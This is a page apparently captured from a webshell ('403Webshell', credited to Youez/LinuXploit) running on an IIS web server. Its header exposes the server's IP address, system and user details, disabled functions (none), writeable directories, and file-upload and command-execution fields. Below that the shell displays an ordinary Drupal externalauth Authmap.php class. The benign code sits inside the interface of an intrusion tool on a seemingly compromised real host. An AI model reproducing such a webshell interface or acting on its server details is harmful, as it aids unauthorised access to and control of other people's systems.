403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/enoikio/modules/externalauth/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/enoikio/modules/externalauth/src/Authmap.php
<?php

namespace Drupal\externalauth;

use Drupal\Core\Database\Connection;
use Drupal\user\UserInterface;

/**
 * Class Authmap.
 *
 * @package Drupal\externalauth
 */
class Authmap implements AuthmapInterface {

  /**
   * The connection object used for this data.
   *
   * @var \Drupal\Core\Database\Connection
   */
  protected $connection;

  /**
   * {@inheritdoc}
   *
   * @param \Drupal\Core\Database\Connection $connection
   *   The connection object used for this data.
   */
  public function __construct(Connection $connection) {
    $this->connection = $connection;
  }

  /**
   * {@inheritdoc}
   */
  public function save(UserInterface $account, $provider, $authname, $data = NULL) {
    if (!is_scalar($data)) {
      $data = serialize($data);
    }

    // If a mapping (for the same provider) from this authname to a different
    // account already exists, this throws an exception. If a mapping (for the
    // same provider) to this account already exists, the currently stored
    // authname is overwritten.
    $this->connection->merge('authmap')
      ->keys([
        'uid' => $account->id(),
        'provider' => $provider,
      ])
      ->fields([
        'authname' => $authname,
        'data' => $data,
      ])
      ->execute();
  }

  /**
   * {@inheritdoc}
   */
  public function get($uid, $provider) {
    $authname = $this->connection->select('authmap', 'am')
      ->fields('am', ['authname'])
      ->condition('uid', $uid)
      ->condition('provider', $provider)
      ->range(0, 1)
      ->execute()
      ->fetchObject();
    if ($authname) {
      return $authname->authname;
    }
    return FALSE;
  }

  /**
   * {@inheritdoc}
   */
  public function getAuthData($uid, $provider) {
    $data = $this->connection->select('authmap', 'am')
      ->fields('am', ['authname', 'data'])
      ->condition('uid', $uid)
      ->condition('provider', $provider)
      ->range(0, 1)
      ->execute()
      ->fetchAssoc();
    return $data;
  }

  /**
   * {@inheritdoc}
   */
  public function getAll($uid) {
    $query = $this->connection->select('authmap', 'am')
      ->fields('am', ['provider', 'authname'])
      ->condition('uid', $uid)
      ->orderBy('provider', 'ASC')
      ->execute();
    $result = $query->fetchAllAssoc('provider');
    if ($result) {
      foreach ($result as $provider => $data) {
        $result[$provider] = $data->authname;
      }
    }
    return $result;
  }

  /**
   * {@inheritdoc}
   */
  public function getUid($authname, $provider) {
    $authname = $this->connection->select('authmap', 'am')
      ->fields('am', ['uid'])
      ->condition('authname', $authname)
      ->condition('provider', $provider)
      ->range(0, 1)
      ->execute()
      ->fetchObject();
    if ($authname) {
      return $authname->uid;
    }
    return FALSE;
  }

  /**
   * {@inheritdoc}
   */
  public function delete($uid, $provider = NULL) {
    $query = $this->connection->delete('authmap')
      ->condition('uid', $uid);

    if ($provider) {
      $query->condition('provider', $provider);
    }

    $query->execute();
  }

  /**
   * {@inheritdoc}
   */
  public function deleteProvider($provider) {
    $this->connection->delete('authmap')
      ->condition('provider', $provider)
      ->execute();
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit